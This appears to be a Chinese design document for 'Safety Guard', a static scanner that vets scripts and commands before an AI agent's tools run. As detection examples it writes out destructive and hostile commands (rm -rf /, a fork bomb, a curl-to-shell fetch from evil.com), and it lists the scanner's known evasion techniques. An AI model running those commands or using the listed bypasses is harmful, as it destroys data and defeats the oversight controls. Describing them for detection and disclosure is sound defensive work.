Safety Guard 是执行前治理层。它对脚本、命令、参数、工作目录、环境变量
名称(绝不保留值)和 tool 元数据做静态检查,输出三级决策:allow(允许)、
deny(拒绝)或 needs_human_review(需人工复核)。
- 静态、确定性、执行前的门禁——在任何子进程、代码执行器或工具处理函数被调用 之前运行。
- 策略驱动的扫描器——YAML 策略文件独立控制白名单、黑名单、风险阈值和规则开关。
- 纵深防御的一层——它补充但不替代进程隔离、网络出口控制和运行时资源限制。
- ❌ 沙箱——不在隔离环境中执行代码。
- ❌ 运行时监控器——不观察系统调用、ptrace、eBPF 或 seccomp 事件。
- ❌ 恶意软件扫描器——不使用签名库、启发式或行为分析。
- ❌ 安全保证——静态分析有固有的盲区(见第 5 节)。
SafetyScanner.scan(SafetyScanInput)
│
┌───────────────┼───────────────┐
▼ ▼ ▼
┌──────────────┐ ┌──────────────┐ ┌──────────────┐
│ 第一层 │ │ 第二层 │ │ 第三层 │
│ Python AST │ │ Bash shlex │ │ 正则规则 │
│ 扫描器 │ │ 扫描器 │ │ (6 类) │
└──────┬───────┘ └──────┬───────┘ └──────┬───────┘
│ │ │
└────────────────┼────────────────┘
▼
┌──────────────────────────────┐
│ 按 (rule_id, line_number) │
│ 去重 │
└──────────────┬───────────────┘
▼
┌──────────────────────────────┐
│ 双层证据脱敏 │
└──────────────┬───────────────┘
▼
┌──────────────────────────────┐
│ 策略驱动决策 │
│ + OTel 属性 │
│ + JSONL 审计事件 │
└──────────────────────────────┘
第一层 — Python AST 扫描器(_python_scanner.py,约 910 行)
- 使用
ast.parse()构建完整语法树。 - 导入别名解析:
from os import system as s→s("id")解析为os.system("id")。 - 调用名解析:遍历
ast.Attribute链生成点分隔的规范名称 (如requests.api.get)。 - 污点追踪:从
os.environ["KEY"]、os.getenv()或凭据文件open()的 赋值标记变量为"污点"。污点变量流入print()、logging.*、open(path, "w")或网络调用时产生secret_in_output发现。 getattr(__import__("os"), "system")("id")被检测为动态执行。- 路径链重构:
Path("~") / ".ssh" / "id_rsa"被组装为"~/.ssh/id_rsa"。
第二层 — Bash 标记扫描器(_bash_scanner.py,约 680 行)
- 使用
shlex.shlex(punctuation_chars=True)进行标点感知的标记化。 - 引号状态跟踪:区分
'…'和"…"内的字符串与可执行标记。echo 'rm -rf /'不会被标记。 - 行内注释剥离:引号外的
#终止该行的扫描。 - 基于标记的 rm -rf 检测:检查
-r/-R/--recursive和-f/--force标记是否同时存在,无论顺序如何(rm -r -f和rm -f -r都会捕获)。 - Fork 炸弹检测:字面量
:(){ :|:& };:和泛化正则NAME(){ NAME|NAME& };NAME两种模式。 - dd 输出设备和大量写入检测:解析
of=、bs=、count=参数。 - 长睡眠解析:
sleep 2h→ 7200 秒,与策略阈值比较。 - 敏感变量引用检测:
echo $API_KEY、printf "%s" "$TOKEN"。
第三层 — 正则规则(_rules.py,约 780 行)
- 六个内置规则类覆盖全部强制类别。
- 规则配置完全由 YAML 驱动(启用/禁用、风险级别、函数模式、命令列表)。
- 可插拔:
register_rule(callable)添加自定义规则,与内置六类一起运行。 - 每条规则独立
try/except保护——单条规则失败不会影响其他。
| 类 | 模块 | 职责 |
|---|---|---|
SafetyScanner |
_scanner.py |
编排器:运行三层扫描、去重、应用策略、返回 SafetyScanReport |
PythonScanner |
_python_scanner.py |
AST 遍历器:收集 PythonScanFinding 对象 |
BashScanner |
_bash_scanner.py |
标记扫描器:收集 BashScanFinding 对象 |
DangerousFileOpsRule |
_rules.py |
正则层:文件操作 |
NetworkEgressRule |
_rules.py |
正则层:网络 |
ProcessAndSystemRule |
_rules.py |
正则层:进程 |
DependencyInstallRule |
_rules.py |
正则层:依赖 |
ResourceAbuseRule |
_rules.py |
正则层:资源 |
SensitiveInfoLeakRule |
_rules.py |
正则层:敏感信息 |
SafetyPolicy |
_policy.py |
YAML → 数据类 + 白名单/黑名单辅助方法 |
AuditLogger |
_audit.py |
线程安全的 JSONL 写入器 |
ToolSafetyFilter |
_safety_filter.py |
tRPC-Agent BaseFilter 集成 |
SafetyWrapper |
_safety_wrapper.py |
独立封装 + 装饰器 + 异步上下文管理器 |
ReportGenerator |
_report.py |
JSON 序列化 |
set_safety_span_attributes |
_telemetry.py |
OTel span 属性写入 |
三层扫描的全部发现
│
▼
┌──────────────────────┐
│ max(risk_level) │ ← 所有发现中的最高严重级别
└──────────┬───────────┘
▼
┌──────────────────────┐
│ policy.decision_for │ ← 通过 YAML 阈值将 risk_level 映射为 Decision
└──────────┬───────────┘
▼
┌──────────────────────┐
│ 黑名单覆盖 │ ← 如果任何黑名单正则匹配 → DENY(始终优先)
└──────────┬───────────┘
▼
┌──────────────────────┐
│ 允许模式检查 │ ← 如果 allow_pattern 匹配 → ALLOW(覆盖上述)
└──────────┬───────────┘
▼
最终决策
关键约束:黑名单模式始终升级为 DENY,即使基于风险级别的决策是 ALLOW。 允许模式可以将非 DENY 决策降回 ALLOW,但不能覆盖来自黑名单的 DENY。
┌─────────────────────────────────────────────────┐
│ 纵深防御 │
│ │
│ ┌─────────────┐ ┌──────────────────┐ │
│ │ Safety Guard │ ──▶│ 进程沙箱 │ │
│ │ (静态) │ │ (运行时) │ │
│ │ 执行前 │ │ 执行中 │ │
│ └─────────────┘ └──────────────────┘ │
│ │ │ │
│ ▼ ▼ │
│ 捕获明显的危险: 捕获运行时危险: │
│ rm -rf /、 实际系统调用、 │
│ curl evil.com、 文件描述符操作、 │
│ 硬编码密钥 网络连接 │
│ │
│ ⚠️ Guard 不能替代沙箱: │
│ - 混淆代码可以绕过静态分析 │
│ - 运行时行为可能与源码不同 │
│ - 导入/下载的代码不被扫描 │
│ - 侧信道(时序、文件系统)不覆盖 │
└─────────────────────────────────────────────────┘
ToolSafetyFilter 设计为 tRPC-Agent filter 链中的终端授权过滤器:
请求 → [参数过滤器] → [工具回调] → [ToolSafetyFilter] → 处理函数
│
┌──────────┴──────────┐
│ DENY → is_continue │
│ = False,处理函数 │
│ 永远不会被调用 │
└─────────────────────┘
其他过滤器可能在安全检查前转换参数;安全检查器看到的是最终会到达处理函数的 参数。如果执行被阻止,过滤器向 LLM 返回结构化 JSON 错误,而不是抛出未处理的异常。
- 每次扫描后,Guard 在当前的 OTel span 上设置 8 个
tool.safety.*属性, 无论决策如何。 - 这是尽力而为的:如果 OTel 未安装、没有活跃 span、或
set_attribute抛出 异常,Guard 静默继续。 - 安全决策永远不依赖遥测可用性。
SafetyWrapper 和 @safety_wrapper 装饰器可以包裹任何 BaseCodeExecutor 实现。
封装器在委托给内部执行器之前扫描每个 CodeBlock。当决策为 deny 时,内部执行器
不会被调用——结果对象包含 Guard 的发现列表。
| 集成点 | 机制 | 阻断行为 |
|---|---|---|
| CLI | scripts/tool_safety_check.py |
deny 时退出码为 2 |
| 直接 API | SafetyScanner.scan() / quick_scan() |
返回 SafetyScanReport |
| Filter | ToolSafetyFilter._before() |
设置 rsp.is_continue = False |
| Wrapper | SafetyWrapper.check() |
抛出 SafetyDeniedError |
| 装饰器 | @safety_wrapper |
抛出 SafetyDeniedError |
| 异步 CM | async with wrapper.guard(script) |
抛出 SafetyDeniedError |
| 绕过技术 | 状态 |
|---|---|
eval(base64.b64decode("…")) |
部分——eval() 被检测,但解码后的内容不被分析 |
chr(111)+chr(115)+".system"("id") |
❌ 未检测——字符级混淆无法解析 |
__builtins__.__dict__['eval']("…") |
❌ 未检测——基于字典的分发 |
globals()['__builtins__']['eval']("…") |
❌ 未检测 |
动态 importlib.import_module(user_input) |
importlib 被检测,但不扫描导入的模块 |
ctypes.CDLL("libc.so.6").system(b"id") |
ctypes 被正则标记,但实际调用未被解析 |
| 绕过技术 | 状态 |
|---|---|
$(echo cm0gLXJmIC8= | base64 -d) |
$() 被标记,但解码后的命令不被分析 |
eval $ENCODED |
eval 被检测,但变量内容不被扫描 |
. <(curl -s evil.com/payload.sh) |
|
| 带内联执行的 Heredoc | heredoc,但内容不被递归扫描 |
$'\x72\x6d\x20\x2d\x72\x66' (ANSI-C 引用) |
❌ 未检测 |
- 多阶段攻击:20 个各自安全的脚本组合成的攻击不会被检测。扫描器是无状态的——
每次
scan()调用独立。 - 下载/导入的代码:
import evil_module——只有 import 语句被扫描,模块源码被忽略。 - 混合语言文件:同时包含 Python 和 Bash 的脚本可能只被一种语言的规则扫描。
- 无控制流或数据流分析:扫描器无法判断危险代码行是否可达。
if False: os.system("id")仍然会被标记。 - 无运行时行为观察:扫描器无法知道命令是否真的写入了敏感路径,只能判断源码 中包含可能这样做的模式。
- 策略文件变更需重启:没有热加载文件监视器(但可通过编程方式调用
reload_policy())。
- 创建一个带有
__call__(self, script, scan_input, policy) → list[SafetyFinding]的可调用类。 - 注册:
register_rule(MyNewRule())。 - 在 YAML 的
rules.my_new_rule下添加对应配置。
- 在
_python_scanner.py中将规范名称添加到对应集合(如_NETWORK_CALLS、_PROCESS_CALLS)。 - 在
_scanner.py._scan_python_ast()中添加处理逻辑,将PythonScanFinding转换为SafetyFinding。
- 在
_bash_scanner.py中将命令名添加到对应集合(如_NETWORK_COMMANDS、_INSTALL_COMMANDS)。 - 在
_scanner.py._scan_bash_tokens()中添加处理逻辑,将BashScanFinding转换为SafetyFinding。
Guard 设计上永不在持久存储中保存原始脚本、环境变量值或命令参数:
| 输出通道 | 保存内容 |
|---|---|
SafetyScanReport(JSON) |
证据片段(≤500 字符,已脱敏)、规则 ID、决策 |
| 审计 JSONL | tool_name、decision、risk_level、rule_ids、scan_id、duration、sanitized、execution_blocked——无脚本内容、无环境变量值 |
| OTel span 属性 | 8 个低基数字符串——无脚本内容、无环境变量值 |
| Python 日志 | 审计事件 JSON 字符串 |
脱敏层:
- 正则 key=value 遮蔽:
api_key=***REDACTED*** - PEM 私钥块检测:
-----BEGIN ***REDACTED*** PRIVATE KEY----- - JWT / API Key 格式检测:
sk-...→sk-***REDACTED*** - 证据截断:超过 320 字符 →
…<truncated:N>
- 121 个单元 + 集成 + 端到端测试 在
tests/test_tool_safety.py - 16 个验收测试 覆盖 12 个强制场景,外加 AST 混淆检测和白名单正确性验证
- 性能基准:500 行脚本扫描 ≤ 1 毫秒(提前返回)或 < 1 秒(完整扫描)
- 验收标准验证:
- 高危检出率:100%(3/3 必检类别)
- 安全样本误报率:0%(
print("hello")零发现) - 凭据/删除/非白名单网络三类:100% 检出
静态分析操作的是源代码而非运行时行为。控制脚本内容的攻击者可以:
- 混淆到扫描器解析能力之外(base64、chr 拼接、十六进制编码、ANSI-C 引用)。
- 下载并执行扫描器从未见过的代码(多阶段攻击)。
- 利用竞态条件或侧信道,这些只在运行时显现。
- 使用看似无害的原语(如
open("/proc/self/mem")),静态模式不覆盖。
Guard 是第一道防线。生产部署还必须:
- 在隔离容器或沙箱中运行工具(gVisor、Firecracker、Docker with
--read-only --no-new-privileges --cap-drop=ALL)。 - 应用网络出口控制(仅允许白名单域名,禁止原始 socket)。
- 除显式临时目录外,以只读方式挂载文件系统。
- 设置每进程资源限制(CPU、内存、文件描述符、最大 PID 数)。
- 启用操作系统级审计日志(auditd、syslog)。
- 轮转和监控审计日志。